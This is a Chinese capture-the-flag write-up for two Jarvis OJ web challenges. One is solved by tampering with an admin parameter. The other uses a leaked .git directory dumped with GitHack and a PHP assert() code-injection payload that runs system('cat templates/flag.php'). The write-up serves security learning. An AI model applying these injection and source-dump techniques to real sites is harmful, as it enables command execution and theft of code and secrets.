61dctf writeup

**

admin

**

打开页面发现。。。。就一个Hello World= =,查看源代码也无果,那么抓个包吧= =
这里写图片描述
emmmm,发现什么也没有,那么就robots.txt看看吧,发现果然有东西
web.jarvisoj.com:32792/robots.txt
这里写图片描述
访问这个后发现。。。。flag{hello guest}。。。。嗯。。。被骗了,提交这个没有用
那么在这个页面抓个包,再改一次admin= 1即可
这里写图片描述

**

babyphp

**
查看源码,发现有个hint耶。。。。看来是page传参

<!--<li ><a href="?page=flag">My secrets</a></li> -->

根据提示,有个git,于是想到了.git漏洞
参考博客 http://www.freebuf.com/sectool/66096.html

于是可以导出源码

python GitHack.py web.jarvisoj.com:32798/.git

可以找到index.php中的源代码

<?php
if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

看来是个绕过。。。。
构造payload

','..')===False and system('cat templates/flag.php');//

于是就变成了

assert("strpos('"templates/" . ','..')===False and system('cat templates/flag.php');// . ".php"', '..') === false")

把前面的strpos函数给闭合了,调用系统命令查看template目录下的flag.php,再把后面注释掉
flag就出来了,美滋滋啊~~~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值